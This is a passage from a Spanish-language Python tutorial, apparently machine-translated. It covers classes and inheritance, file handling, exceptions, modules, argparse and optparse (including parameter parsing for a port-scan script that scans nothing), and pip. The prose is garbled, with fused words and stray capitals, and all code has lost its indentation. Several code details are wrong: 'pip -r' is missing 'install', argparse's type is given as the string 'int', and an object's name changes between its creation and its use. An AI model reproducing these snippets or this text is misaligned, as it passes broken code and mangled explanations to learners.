Para construir un objeto, escriba el nombre de la clase seguido
de cualquier parámetro necesario entre paréntesis. Estos son
los parámetros que se transferirán al initmétodo, que es el
proceso que se llama al instanciar la clase:
>>> https_protocol= Protocol("HTTPS", 443, "Hypertext
Transfer Protocol Secure")
Ahora que hemos creado nuestro objeto, podemos acceder a
sus atributos y métodos a través de la sintaxis object.attributey
:object.method()
>>> protocol_http.getProtocolInfo()
HTTPS 443 Hypertext Transfer Protocol Secure
En resumen, la programación de objetos es el arte de definir y
expandir clases. Una clase es un modelo de una parte muy
específica de la realidad, que refleja las propiedades y métodos
presentes en el mundo real. La nueva clase puede añadir
nuevas propiedades y métodos, y por lo tanto, puede ser más
útil en aplicaciones específicas.
Herencia de Python
En el código anterior, podemos verUn método llamado __init__,
que representa el constructor de la clase. Si una clase tiene un
constructor, este se invoca automática e implícitamente al
instanciar su objeto. Este método permite inicializar el estado
interno de un objeto al crearlo.
La herencia en Python es un concepto importante en los
lenguajes de programación orientados a objetos. Esta
característica implica crear una nueva clase que hereda toda la
funcionalidad de la clase padre y permite que esta nueva clase
añada funcionalidad adicional a la base.
En la terminología orientada a objetos, cuando la clase "X" es
heredada por la clase "Y", "X" se denomina superclase o clase
base, e "Y" subclase o clase derivada. Cabe destacar que la
clase derivada solo puede acceder a los campos y métodos que
no son privados. Campos privados.y los métodos sólo son
accesibles por la propia clase.
La herencia simple ocurre cuando una clase hija hereda los
atributos y métodos de una sola clase padre. El siguiente es un
ejemplo de herencia simple en Python, donde tenemos una
clase base y una clase hija que hereda de la clase padre.
Observe la presencia del __init__método en ambas clases, lo
que permite inicializar las propiedades de la clase como un
constructor de objetos.
Puede encontrar el siguiente código en
el Inheritance_simple.pyarchivo.
class BaseClass:
def __init__(self, property):
self.property = property
def message(self):
print('Welcome to Base Class')
def message_base_class(self):
print('This is a message from Base Class')
class ChildClass(BaseClass):
def __init__(self, property):
BaseClass.__init__(self, property)
def message(self):
print('Welcome to ChildClass')
print('This is inherited from BaseClass')
En nuestro programa principal, declaramos dos objetos, uno de
cada clase, y llamamos a los métodos definidos en cada una de
ellas. Además, aprovechando las características de herencia,
llamamos al método de la clase padre utilizando un objeto de la
clase hija.
if __name__ == '__main__':
base_obj = BaseClass('property')
base_obj.message()
child_obj = ChildClass('property')
child_obj.message()
child_obj.message_base_class()
Dos funciones integradas isinstance()se issubclass(),utilizan
para comprobar herencias. Un método para comprobar si una
clase es subclase de otra es el issubclass()método. Este
método permite comprobar si una subclase es hija de una
superclase y devuelve el valor booleano Trueo Falsesegún el
resultado.
>>> print(issubclass(ChildClass, BaseClass))
>>> True
>>> print(issubclass(BaseClass, ChildClass))
>>> False
De igual manera, el isinstance()método permite verificar si un
objeto es una instancia de una clase. Este método
devuelve Truesi el objeto es la instancia de la clase que se pasa
comoSegundo parámetro. La sintaxis de este método especial
es isinstance(Object,Class).
>>> print(isinstance(base_obj, BaseClass))
>>> True
>>> print(isinstance(child_obj, ChildClass))
>>> True
>>> print(isinstance(child_obj, BaseClass))
>>> True
La herencia múltiple ocurre cuando una clase hija hereda
atributos y métodos de más de una clase padre. Podríamos
separar ambas clases principales con una coma al crear la
clase secundaria. En el siguiente ejemplo, implementamos la
herencia múltiple donde la clase hija hereda de las
clases MainClassy MainClass2.
Puede encontrar el siguiente código en
el Inheritance_multiple.pyarchivo.
class MainClass:
def message_main(self):
print('Welcome to Main Class')
class MainClass2:
def message_main2(self):
print('Welcome to Main Class2')
class ChildClass(MainClass,MainClass2):
def message(self):
print('Welcome to ChildClass')
print('This is inherited from MainClass and MainClass2')
Nuestro programa principal crea un objeto de la Child clase, en
el que podremos acceder a ambos métodos de las clases
padres.
if __name__ == '__main__':
child_obj = ChildClass()
child_obj.message()
child_obj.message_main()
child_obj.message_main2()
Python también admite la herencia multinivel, lo que permite
que la clase hija tenga herencia por debajo de ella. Esto
significa que la clase base es la clase padre de todas las
subclases y la herencia continúa.De padre a hijo. De esta
manera, las clases hijas pueden acceder a las propiedades y
métodos de las clases padre, pero las clases padre no pueden
acceder a las propiedades de la clase hija.
En el siguiente ejemplo, implementamos la herencia multinivel:
la clase hija hereda de la clase anterior MainClassy añadimos
otro nivel de herencia a ChildDerivedla clase anterior Child. El
código que se encuentra en el Inheritance_multilevel.pyarchivo
es el siguiente.
class MainClass:
def message_main(self):
print('Welcome to Main Class')
class Child(MainClass):
def message_child(self):
print('Welcome to Child Class')
print('This is inherited from Main')
class ChildDerived(Child):
def message_derived(self):
print('Welcome to Derived Class')
print('This is inherited from Child')
En el código anterior, primero creamos una clase principal y
luego una clase hija heredada de ella, Mainy otra derivada de
ella. Vemos cómo el child_derived_objobjeto es una instancia
de cada una de las clases que forman parte de la jerarquía. En
la herencia multinivel, las características de la clase base y la
clase derivada se heredan en la nueva clase derivada. En
nuestro programa principal, declaramos un objeto derivado de
la clase hija y llamamos a los métodos definidos en cada una
de las clases.
if __name__ == '__main__':
child_derived_obj = ChildDerived()
child_derived_obj.message_main()
child_derived_obj.message_child()
child_derived_obj.message_derived()
print(issubclass(ChildDerived, Child))
print(issubclass(ChildDerived, MainClass))
print(issubclass(Child, MainClass))
print(issubclass(MainClass, ChildDerived))
print(isinstance(child_derived_obj, Child))
print(isinstance(child_derived_obj, MainClass))
print(isinstance(child_derived_obj, ChildDerived))
Al ejecutar el script anterior, vemos como desde
la ChildDerivedclase podemos llamar a los métodos deLas
clases Childy Main. Además, con los
métodos issubclass()y isinstance()podemos comprobar si
el child_derived_objobjeto es una subclase e instancia de las
clases superiores dentro de la jerarquía de gestión.
Ventajas de la herencia de Python
Una de las principales ventajas esreutilización de código,
permitiéndonos establecer una relación entre clases, evitando
la necesidad de volver a declarar ciertos métodos o atributos.
Las clases nos permiten construir objetos sobre una colección
de atributos y métodos definidos de forma abstracta. La
capacidad de heredar nos permitirá crear subclases más
grandes y con mayor capacidad, heredando múltiples atributos
y métodos de otras, así como un control más específico de los
mismos para una sola clase.
Los siguientes son algunos beneficios de usar la herencia en la
programación orientada a objetos de Python:
La herencia de Python proporciona reutilización,
legibilidad y escalabilidad del código.
Reduce la repetición de código. Puedes definir todos los
métodos y atributos de la clase principal a los que pueden
acceder las clases secundarias.
Al dividir el código en varias clases, es más fácil identificar
errores en las aplicaciones.
Trabajar con archivos en Python
Al trabajar conarchivos es importante poder moverse a través
del sistema de archivos, determinar el tipo de archivo y abrir
un archivo en los diferentes modos que ofrece el sistema
operativo.
Lectura y escritura de archivos en Python
Ahora vamos a revisar los métodos paraLeer y escribir
archivos. Estos son los métodos que utilizamos.se puede
utilizar en un objeto de archivo para diferentes operaciones:
file.open(name_file,mode):Abre un archivo con un modo
específico.
file.write(string): Escribe una cadena en un archivo.
file.read([bufsize])Lee hasta bufsizeel número de bytes del
archivo. Si se ejecuta sin la opción de tamaño de búfer,
leerá el archivo completo.
file.readline([bufsize]): Lee una línea del archivo.
file.close():Cierra el archivo y destruye el fileobjeto.
La open()función se suele usar con dos parámetros (el archivo
con el que se va a trabajar y el modo de acceso) y devuelve
un fileobjeto de tipo . Al abrir un archivo con un modo de
acceso específico mediante la open()función, filese devuelve un
objeto.
Los modos de apertura pueden ser r(lectura), w(escritura)
y a(añadir). Podemos combinar los modos anteriores con otros
según el tipo de archivo. También podemos usar los
modos b(binario), t(texto) y +(abrir lectura y escritura). Por
ejemplo, puede agregar una +a su opción, lo que permite
operaciones de lectura y escritura con el mismo objeto:
>>> f = open("file.txt","w")
>>> type(f)
<class '_io.TextIOWrapper'>
>>> f.close()
Se puede acceder a las siguientes propiedades del objeto de
archivo:
closed: Devuelve Truesi el archivo se ha cerrado. En caso
contrario, False.
mode:Devuelve el modo de apertura.
name: Devuelve el nombre del archivo
encoding: Devuelve la codificación de caracteres de un
archivo de texto
En el siguiente ejemplo, nosotrosEstán utilizando estas
propiedades para obtener información sobre el archivo.
Puedes encontrar el siguiente códigoen
el read_file_properties.pyarchivo.
file_descryptor = open("read_file_properties.py", "r+")
print("Content: "+file_descryptor.read())
print("Name: "+file_descryptor.name)
print("Mode: "+file_descryptor.mode)
print("Encoding: "+str(file_descryptor.encoding))
file_descryptor.close()
Al leer un archivo, el readlines()método lee todas sus líneas y
las une en una lista. Este método es muy útil si desea leer el
archivo completo de una sola vez:
>>> allLines = file.readlines()
La alternativa es leer el archivo línea por línea, para lo cual
podemos usar el readline()método. De esta manera, podemos
usar el fileobjeto como iterador si queremos leer todas las
líneas de un archivo una por una:
>>> with open("file.txt","r") as file:
... for line in file:
... print(line)
En el siguiente ejemplo, utilizamos el readlines()método para
procesar el archivo y obtener recuentos de líneas y caracteres
en este archivo.
Puede encontrar el siguiente código en
el count_lines_chars.pyarchivo.
try:
countlines = countchars = 0
file = open('count_lines_chars.py', 'r')
lines = file.readlines()
for line in lines:
countlines += 1
for char in line:
countchars += 1
file.close()
print("Characters in file:", countchars)
print("Lines in file:", countlines)
except IOError as error:
print("I/O error occurred:", str(error))
Si el archivo que estamos leyendo esno está disponible en el
mismo directorio, entonces lo estarálanzar una excepción de
E/S con el siguiente mensaje de error:
I/O error occurred: [Errno 2] No such file or directory:
'newfile.txt'
Es posible escribir archivos de texto con este write()método,
que solo espera un argumento que representa una cadena que
se transferirá a un archivo abierto. El siguiente código se
encuentra en el write_lines.pyarchivo:
try:
myfile = open('newfile.txt', 'wt')
for i in range(10):
myfile.write("line #" + str(i+1) + "\n")
myfile.close()
except IOError as error:
print("I/O error occurred: ", str(error.errno))
En el código anterior, nosotrosSe puede ver cómo se crea un
nuevo archivo llamado newfile.txt. El modo abierto wtsignifica
que el archivo se crea en modo de escritura y formato de texto.
Hay varias formas de abrir y crear archivos en Python, pero la
forma más segura es mediante el uso de la withpalabra clave,
en cuyo caso estamosUsando el enfoque del administrador
de contexto . Al usar la opendeclaración, Python delega al
desarrollador.la responsabilidad de cerrar el archivo, y esta
práctica puede provocar errores ya que los desarrolladores a
veces olvidan cerrarlo.
Los desarrolladores pueden usar la withinstrucción para
gestionar esta situación de forma segura. La withinstrucción
cierra automáticamente el archivo incluso si se genera una
excepción. Con este enfoque, tenemos la ventaja de que el
archivo se cierra automáticamente y no es necesario llamar
al close()método.
Puede encontrar el siguiente código en
el creating_file.pyarchivo:
def main():
with open('test.txt', 'w') as file:
file.write("this is a test file")
if __name__ == '__main__':
main()
El código anteriorUsa el administrador de contexto para abrir
un archivo y lo devuelve como un objeto. Luego, llamamos
a file.write("this is a test file"), que lo escribe en elArchivo
creado. La withinstrucción se encarga de cerrar el archivo
automáticamente en este caso, así que no tenemos que
preocuparnos por ello.
NOTA IMPORTANTE
Para más informaciónPara obtener información sobre
la withdeclaración, puede consultar la documentación oficial
en https://docs.python.org/3/reference/compound_stmts.
html#the-with-statement .
En este punto tenemosRevisamos la sección sobre cómo
trabajar con archivos en Python. La principal ventaja de usar
estos métodos es que facilitan la automatización de la gestión
de archivos en el sistema operativo.
En la siguiente sección, revisaremosCómo gestionar
excepciones en scripts de Python. Revisaremos las principales
excepciones que podemos encontrar en Python para incluirlas
en nuestros scripts.
Aprenda y comprenda la gestión de excepciones en
Python
Cada vez que su código se ejecuta en unUna forma no
intencionada en la que Python detiene el programa crea un tipo
especial de datos, llamado excepción . Una excepción oSe
produce un error de tiempo de ejecución durante la ejecución
del programa. Las excepciones son errores quePython detecta
durante la ejecución del programa. Si el intérprete experimenta
una circunstancia inusual, como intentar dividir un número
entre 0 o acceder a un archivo inexistente, se crea o lanza una
excepción que indica al usuario que hay un problema.
Cuando una excepción no se maneja correctamente, el flujo de
ejecución se interrumpe y la consola muestra la información
asociada a la excepción para que el lector pueda resolver el
problema con laInformación devuelta por la excepción. Las
excepciones se pueden gestionar para que el programa no
finalice.
Veamos algunos ejemplos de excepciones:
>>> 4/0
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ZeroDivisionError: division by zero
>>> a+4
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'a' is not defined
>>> "4"+4
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: Can't convert 'int' object to str implicit
En los ejemplos anteriores, podemos ver la
excepción traceback, que consiste en una lista de las llamadas
que la causaron. Como vemos en el seguimiento de la pila, el
error se debió a la ejecución de una operación no permitida en
Python.
NOTA IMPORTANTE
Python proporciona métodos eficaces que permiten observar
excepciones, identificarlas y gestionarlas eficientemente. Esto
es posible porque todas las posibles excepciones tienen
nombres inequívocos, lo que permite categorizarlas y
reaccionar adecuadamente. Revisaremos algunas herramientas
en la sección "Entornos de desarrollo para scripting en
Python" con técnicas interesantes como la depuración.
En Python, podemos usar un try/exceptbloque para resolver
situaciones relacionadas con el manejo de excepciones. Ahora,
elEl programa intenta realizar la división por cero. Cuando se
produce el error, el administrador de excepciones lo captura e
imprime un mensaje relevante para la excepción:
>>> try:
... print("10/0=",str(10/0))
... except Exception as exception:
... print("Error =",str(exception))
...
Error = division by zero
La trypalabra clave inicia un bloque de código que puede o no
funcionar correctamente. A continuación, Python intenta
realizar algunas operaciones; si falla, se lanza una excepción y
Python busca una solución.
En este punto, la exceptpalabra clave inicia un fragmento de
código que se ejecutará si algo dentro del trybloque
falla.Incorrecto: si se lanza una excepción dentro de
un trybloque anterior, fallará aquí, por lo que el código
posterior a la exceptpalabra clave debería proporcionar una
respuesta adecuada a la excepción generada. El siguiente
código lanza una excepción relacionada con el acceso a un
elemento que no existe en la lista:
>>> try:
... list=[]
... element=list[0]
... except Exception as exception:
... print("Exception=",str(exception))
...
Exception= list index out of range
En el código anterior la excepción se produce al intentar
acceder al primer elemento de una lista vacía.
En el siguiente ejemplo, unimos todas estas funcionalidades
con la gestión de excepciones cuando estamos trabajandoCon
archivos. Si el archivo no se encuentra en el sistema de
archivos, IOErrorse lanza una excepción de este tipo, que
podemos capturar gracias a nuestro try..exceptbloque. Puedes
encontrar el siguiente código en
el read_file_exception.pyarchivo:
try:
file_handle = open("myfile.txt", "r")
except IOError as exception:
print("Exception IOError: Unable to read from myfile ",
exception)
except Exception as exception:
print("Exception: ", exception)
else:
print("File read successfully")
file_handle.close()
En el código anterior, gestionamos una excepción al abrir un
archivo en readmodo y si el archivo no existe lanzará el
mensaje "Exception IOError: Unable to read from myfile [Errno
2] No such file or directory: 'myfile.txt'".
Python 3 define 63 excepciones integradas, todas ellas con una
jerarquía en forma de árbol. Algunas son más generales
(incluyen otras excepciones), mientras que otras son
completamente concretas. Podemos decir que cuanto más
cerca de la raíz se encuentre una excepción, más general
(abstracta) será.
Algunas de las excepcionesLos disponibles por defecto se
enumeran aquí (la clase de la que se derivan está entre
paréntesis):
BaseException:La clase de la que heredan todas las
excepciones.
Exception (BaseException):Una excepción es un caso
especial de una clase más general
llamada BaseException.
ZeroDivisionError (ArithmeticError):Una excepción que se
genera cuando el segundo argumento de una división es
0. Este es un caso especial de una clase de excepción más
general llamada ArithmeticError.
EnvironmentError (StandardError):Esta es una clase padre
de errores relacionados con la entrada/salida.
IOError (EnvironmentError):Esto es un error en una
operación de entrada/salida.
OSError (EnvironmentError):Este es un error en una
llamada del sistema.
ImportError (StandardError):No se encontró el módulo o el
elemento del módulo que deseaba importar.
Todo el Python incorporadoLas excepciones forman una
jerarquía de clases. El siguiente script muestra todas las clases
de excepción predefinidas en un diagrama de árbol.
Puede encontrar el siguiente código en
el get_exceptions_tree.pyarchivo:
def printExceptionsTree(ExceptionClass, level = 0):
if level > 1:
print(" |" * (level - 1), end="")
if level > 0:
print(" +---", end="")
print(ExceptionClass.__name__)
for subclass in ExceptionClass.__subclasses__():
printExceptionsTree(subclass, level+1)
printExceptionsTree(BaseException)
Dado que un árbol es un ejemplo perfecto de una estructura de
datos recursiva, la recursión parece ser la mejor herramienta
para recorrerlo. La printExceptionsTree()función acepta dos
argumentos:
Un punto dentro del árbol desde el cual comenzamos a
recorrerlo.
Un nivel para construir un dibujo simplificado de las ramas
del árbol.
Esto podría ser parcialSalida del script anterior:
BaseException
+---Exception
| +---TypeError
| +---StopAsyncIteration
| +---StopIteration
| +---ImportError
| | +---ModuleNotFoundError
| | +---ZipImportError
| +---OSError
| | +---ConnectionError
| | | +---BrokenPipeError
| | | +---ConnectionAbortedError
| | | +---ConnectionRefusedError
| | | +---ConnectionResetError
| | +---BlockingIOError
| | +---ChildProcessError
| | +---FileExistsError
| | +---FileNotFoundError
| | +---IsADirectoryError
| | +---NotADirectoryError
| | +---InterruptedError
| | +---PermissionError
| | +---ProcessLookupError
| | +---TimeoutError
| | +---UnsupportedOperation
| | +---herror
| | +---gaierror
| | +---timeout
| | +---Error
| | | +---SameFileError
| | +---SpecialFileError
| | +---ExecError
| | +---ReadError
En la salida del anteriorEn el script, podemos ver que la raíz de
las clases de excepción de Python es la BaseExceptionclase
(esta es una superclase de todas las demás excepciones). Para
cada clase encontrada, realiza el siguiente conjunto de
operaciones:
Imprima su nombre, tomado de la __name__propiedad.
Iterar a través de la lista de subclases entregadas por
el __subclasses__()método e invocar recursivamente
la printExceptionsTree()función, incrementando el nivel de
anidamiento, respectivamente.
Ahora que ya sabes elFunciones, clases, objetos y excepciones
para trabajar con Python. A continuación, aprenderemos a
administrar módulos y paquetes. Además, revisaremos el uso
de algunos módulos para la gestión de parámetros,
incluyendo argparsey optarse.
Módulos y paquetes de Python
En esta sección aprenderás cómoPython proporciona módulos
que se construyen de forma extensible y ofrece la posibilidad a
los desarrolladores de crear sus propios módulos.
¿Qué es un módulo en Python?
Un módulo es una colección de funciones, clases y variables
que podemos usar para implementar una aplicación. Hay
unGran colección de módulos disponibles con elDistribución
estándar de Python. Los módulos tienen una doble función,
entre las que destacan:
Dividir un programa con muchas líneas de código en
partes más pequeñas.
Extrae un conjunto de definiciones que uses
frecuentemente en tus programas para reutilizarlas. Esto
evita, por ejemplo, tener que copiar funciones de un
programa a otro.
Un módulo se puede especificar como un archivo que contiene
definiciones y declaraciones de Python. El archivo debe tener
una .pyextensión y su nombre corresponde al del módulo.
Podemos empezar definiendo un módulo simple en un
archivo. Dentro del archivo .py, definiremos una función
simple que imprimirá .message(name)my_functions.py"Hi,
{name}.This is my first module"
Puede encontrar el siguiente código en
el my_functions.pyarchivo dentro de la first_modulecarpeta:
def message(name):
print(f"Hi {name}.This is my first module")
Dentro de nuestro main.pyarchivo, podemos importarlo como
módulo y usar el message(name)método. Encontrará el
siguiente código en el main.pyarchivo:
import my_functions
def main():
my_functions.message("Python")
if __name__ == '__main__':
main()
Cuando se importa un módulo, Python ejecuta implícitamente
su contenido. Ya sabes que un módulo puede
contenerinstrucciones y definiciones. Por lo general, las
instrucciones se utilizan para inicializar elmódulo y solo se
ejecutan la primera vez que el nombre del módulo aparece en
una importdeclaración.
Eso es todo lo que necesitamos para definir un módulo Python
muy simple dentro de nuestros scripts Python.
Cómo importar módulos en Python
Para utilizar las definicionesPara importar un módulo en el
intérprete o en otro módulo, primero debe importarlo. Para
ello, importse utiliza la palabra clave. Una vez importado el
módulo, se puede acceder a sus definiciones mediante
el .operador punto.
Podemos importar uno o varios nombres de un módulo como se
indica a continuación. Esto nos permite acceder directamente a
los nombres definidos en el módulo sin necesidad de usar
el .operador punto.
>>> from my_functions import message
>>> message('python')
También podemos utilizar el *operador para importar todas las
funciones del módulo.
>>> from my_functions import *
>>> message('python')
El acceso a cualquier elemento del módulo importado se realiza
mediante el espacio de nombres, seguido de un punto ( .) y el
nombre del elemento que se desea obtener. En Python, un
espacio de nombres es el nombre indicado después de la
palabra import, es decir, la ruta (espacio de nombres) del
módulo.
También es posible abreviar espacios de nombres mediante un
alias. Para ello, durante la importación, se asigna la palabra
clave "as" seguida del alias con el que nos referiremos a ese
espacio de nombres importado en el futuro. De esta forma,
podemos redefinir el nombre que se utilizará.utilizado dentro
de un módulo usando la aspalabra reservada:
>>> from my_functions import message as my_message
>>> my_message('python')
Hi python. This is my first module
Obteniendo información de los módulos
Podemos obtener más informaciónAcerca de los métodos y
otras entidades de un módulo específico que utiliza
el dir()método. Este método devuelve una lista con todas las
definiciones (variables, funciones, clases, etc.) contenidas en
un módulo. Por ejemplo, si ejecutamos este método usando
el my_functionsmódulo creado anteriormente, obtendremos el
siguiente resultado:
>>> dir(my_functions)
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__',
'__name__', '__package__', '__spec__', 'message']
El dir()método devuelve una lista ordenada alfabéticamente
que contiene todos los nombres de las entidades disponibles en
el módulo, identificadas por cualquier nombre pasado a la
función como argumento. Por ejemplo, puede ejecutar el
siguiente código para imprimir los nombres de todas las
entidades dentro del sysmódulo. Podemos obtener la lista de
módulos integrados con las siguientes instrucciones:
>>> import sys
>>> sys.builtin_module_names
('_abc', '_ast', '_codecs', '_collections', '_functools', '_imp', '_io',
'_locale', '_operator', '_signal', '_sre', '_stat', '_string',
'_symtable', '_thread', '_tracemalloc', '_warnings', '_weakref',
'atexit', 'builtins', 'errno', 'faulthandler', 'gc', 'itertools',
'marshal', 'posix', 'pwd', 'sys', 'time', 'xxsubtype')
>>> dir(sys)
['__breakpointhook__', '__displayhook__', '__doc__',
'__excepthook__', '__interactivehook__', '__loader__', '__name__',
'__package__', '__spec__', '__stderr__', '__stdin__', '__stdout__',
'__unraisablehook__', '_base_executable', '_clear_type_cache',
'_current_frames',...]
Los demás módulos que podemos importar se guardan en
archivos, los cuales se encuentran en las rutas indicadas en el
intérprete:
>>> sys.path
['', '/usr/lib/python3.4', '/usr/lib/python3.4/plat-x86_64-linux-
gnu', '/usr/lib/python3.4/lib-dynload',
'/usr/local/lib/python3.4/dist-packages', '/usr/lib/python3/dist-
packages']
En el código anterior, nosotrosestán utilizando el dir()método
para obtener todas las entidades de nombre del sysmódulo.
Diferencia entre un módulo de Python y un paquete de
Python
De la misma manera que nos agrupamosfunciones y otras
definiciones en módulos, los paquetes de Python le permiten
organizar y estructurar los diferentes módulos que componen
unEl programa se ejecuta de forma jerárquica. Además, los
paquetes permiten que existan varios módulos con el mismo
nombre sin causar errores.
Un paquete es simplemente un directorio que contiene otros
paquetes y módulos. Además, en Python, para que un
directorio se considere un paquete, debe incluir un módulo
llamado __init__.py. En la mayoría de los casos, este archivo
estará vacío; sin embargo, puede usarse para inicializar código
relacionado con el paquete. Entre las principales diferencias
entre un módulo y un paquete, destacan las siguientes:
Módulo : Cada uno de los .pyarchivos queLo que creamos
se llama módulo. Los elementos creados en un módulo
(funciones, clases, etc.) se pueden importar para usarse
en otro módulo. El nombre que usaremos para importar un
módulo es el nombre del archivo.
Paquete : Un paquete es unCarpeta que
contiene .pyarchivos y un archivo llamado __init__.py. Este
archivo no necesita contener instrucciones. Los paquetes,
a su vez, pueden contener otros subpaquetes.
Gestión de parámetros en Python
A menudo, en Python, los scriptsLos argumentos que se usan
en la línea de comandos ofrecen opciones a los usuarios al
ejecutar un comando. Para ello, una opción es usar
el argparsemódulo que viene instalado por defecto al instalar
Python.
Una de las opciones interesantes es que el tipo de parámetro
se puede indicar mediante el typeatributo. Por ejemplo, si
queremos tratar un parámetro como si fuera un entero,
podríamos hacerlo de la siguiente manera:
parser.add_argument("-param", dest="param", type="int")
Otra cosa que podría ayudarnos a tener un código más legible
es declarar una clase que actúe como un objeto global para los
parámetros. Por ejemplo, si quisiéramos pasar varios
parámetros simultáneamente a una función, podríamos usar el
objeto global mencionado anteriormente, que es el que
contiene los parámetros de ejecución globales.
Puede encontrar el siguiente código en
el params_global_argparse.pyarchivo:
import argparse
class Parameters:
"""Global parameters"""
def __init__(self, **kwargs):
self.param1 = kwargs.get("param1")
self.param2 = kwargs.get("param2")
def view_parameters(input_parameters):
print(input_parameters.param1)
print(input_parameters.param2)
parser = argparse.ArgumentParser(description='Testing
parameters')
parser.add_argument("-p1", dest="param1",
help="parameter1")
parser.add_argument("-p2", dest="param2",
help="parameter2")
params = parser.parse_args()
input_parameters =
Parameters(param1=params.param1,param2=params.param2
)
view_parameters(input_parameters)
En el guión anterior, nosotrosestamos utilizando
el argparsemódulo para obtener parámetros y encapsulamos
estos parámetros en un objeto con la Parametersclase.
Para obtener más información, puede consultar el sitio web
oficial: https://docs.python.org/3/library/argparse.html .
En el siguiente ejemplo, usamos el argparsemódulo para
administrar los parámetros que podríamos usar para realizar un
escaneo de puertos, como la dirección IP, los puertos y el nivel
de detalle. Puede encontrar el siguiente código en
el params_port_scanning.pyarchivo:
import argparse
if __name__ == "__main__":
description = """ Uses cases:
+ Basic scan:
-target 127.0.0.1
+ Specific port:
-target 127.0.0.1 -port 21
+ Port list:
-target 127.0.0.1 -port 21,22
+ Only show open ports
-target 127.0.0.1 --open True """
parser = argparse.ArgumentParser(description='Port
scanning', epilog=description,
formatter_class=argparse.RawDescripti
onHelpFormatter)
parser.add_argument("-target", metavar='TARGET',
dest="target", help="target to scan",required=True)
parser.add_argument("-ports", dest="ports",
help="Please, specify the target port(s)
separated by comma[80,8080 by default]",
default = "80,8080")
parser.add_argument('-v', dest='verbosity', default=0,
action="count",
help="verbosity level: -v, -vv, -vvv.")
parser.add_argument("--open", dest="only_open",
action="store_true",
help="only display open ports", default=False)
Una vez establecidos los parámetros necesarios mediante
el add_argument()método, podremos acceder a los valores
deEstos argumentos se procesan mediante el método del
módulo analizador parse_args(). Posteriormente, se puede
acceder a los parámetros mediante la paramsvariable.
params = parser.parse_args()
print("Target:" + params.target)
print("Verbosity:" + str(params.verbosity))
print("Only open:" + str(params.only_open))
portlist = params.ports.split(',')
for port in portlist:
print("Port:" + port)
Al ejecutar el script anterior con la -hopción se muestran los
argumentos que acepta y algunos casos de uso de ejecución.
$ python params_port_scanning.py -h
usage: params_port_scan_complete.py [-h] -target TARGET [-
ports PORTS] [-v] [--open]
Port scanning
optional arguments:
-h, --help show this help message and exit
-target TARGET target to scan
-ports PORTS Please, specify the target port(s) separated by
comma[80,8080 by default]
-v verbosity level: -v, -vv, -vvv.
--open only display open ports
Uses cases:
+ Basic scan:
-target 127.0.0.1
+ Specific port:
-target 127.0.0.1 -port 21
+ Port list:
-target 127.0.0.1 -port 21,22
+ Only show open ports
-target 127.0.0.1 --open True
Al ejecutar elEl script anterior no tiene ningún parámetro y
aparece un mensaje de error que indica que se requiere el
argumento de destino.
$ python params_port_scanning.py
usage: params_port_scanning.py [-h] -target TARGET [-ports
PORTS] [-v] [--open]
params_port_scanning.py: error: the following arguments are
required: -target
Al ejecutar el script anterior con el argumento "target",
obtenemos los valores predeterminados para el resto de los
parámetros. Por ejemplo, los valores predeterminados
son 0para verbosidad y 80para 8080puertos.
$ python params_port_scanning.py -target localhost
Params:Namespace(only_open=False, ports='80,8080',
target='localhost', verbosity=0)
Target:localhost
Verbosity:0
Only open:False
Port:80
Port:8080
Al ejecutar el script anterior con los argumentos target, ports,
y verbosity, obtenemos nuevos valores para estos parámetros.
$ python params_port_scanning.py -target localhost -ports
22,23 -vv
Params:Namespace(only_open=False, ports='22,23',
target='localhost', verbosity=2)
Target:localhost
Verbosity:2
Only open:False
Port:22
Port:23
Gestión de parámetros con OptionParser
Python proporciona una clasellamado OptionParserpara
administrar argumentos de línea de comandos. OptionParseres
parte del optparsemódulo, que es proporcionado por la
biblioteca estándar. OptionParserle permite hacer una variedad
de cosas muy útiles con argumentos de línea de comandos:
Especifique un valor predeterminado si no se proporciona
un determinado argumento.
Admite tanto indicadores de argumentos (presentes o no)
como argumentos con valores.
Admite diferentes formatos de paso de argumentos.
Utilicemos la función OptionParserpara gestionar parámetros
de la misma forma que vimos antes con el argparsemódulo. En
el código proporcionado aquí, se utilizan argumentos de línea
de comandos para pasar variables.
Puede encontrar el siguiente código en
el params_global_optparser.pyarchivo:
from optparse import OptionParser
class Parameters:
"""Global parameters"""
def __init__(self, **kwargs):
self.param1 = kwargs.get("param1")
self.param2 = kwargs.get("param2")
def view_parameters(input_parameters):
print(input_parameters.param1)
print(input_parameters.param2)
parser = OptionParser()
parser.add_option("--p1", dest="param1", help="parameter1")
parser.add_option("--p2", dest="param2", help="parameter2")
(options, args) = parser.parse_args()
input_parameters =
Parameters(param1=options.param1,param2=options.param2)
view_parameters(input_parameters)
El script anterior demuestra el uso de la OptionParserclase.
Proporciona una interfaz sencilla para los argumentos de la
línea de comandos, lo que permite definir ciertas propiedades
para cada opción de la línea de comandos.También permite
especificar valores predeterminados. Si no se proporcionan
ciertos argumentos, se pueden generar errores específicos.
Para obtener más información, puede consultar el sitio web
oficial: https://docs.python.org/3/library/optparse.html .
Ahora que ya sabes cómo Python administra módulos y
paquetes, pasemos a aprender cómo administrar dependencias
y crear un entorno virtual con la virtualenvutilidad.
Gestión de dependencias y entornos virtuales
En esta sección podrás:Identificar cómo gestionar las
dependencias y laentorno de ejecución con pipy virtualenv.
Administrar dependencias en un proyecto de Python
Si nuestro proyecto tienedependencias con otras librerias, el
objetivo sera tener un archivo donde tengamos dichas
dependencias, para que nuestraEl módulo se compila y
distribuye lo más rápido posible. Para esta función, podemos
crear un archivo llamado requirements.txt, que contiene todas
las dependencias que requiere el módulo.
Para instalar todas las dependencias, podemos utilizar el
siguiente comando con la piputilidad:
$ pip -r requirements.txt
Aquí pipse encuentra el administrador de paquetes y
dependencias de Python y requirements.txtes el archivo donde
se guardan todas las dependencias del proyecto.
CONSEJO
Dentro del ecosistema de Python, podemos encontrar nuevos
proyectos para gestionar las dependencias y los paquetes de
un proyecto de Python. Por ejemplo, Poetry ( https://python-
poetry.org ) es una herramienta paramanejar la instalación de
dependencias, así como construir y empaquetar paquetes de
Python.
Instalar módulos de Python
Python tiene una comunidad activade desarrolladores y
usuarios que desarrollan tanto módulos estándar de Python
como módulos y paquetes desarrollados por terceros.
El paquete PythonIndex , o PyPI ( https://pypi.org ), es el
repositorio oficial de paquetes de software para aplicaciones de
terceros en el lenguaje de programación Python.
Para instalar un nuevo paquete de Python, tienes las siguientes
alternativas:
Utilice el que viene empaquetado según el sistema
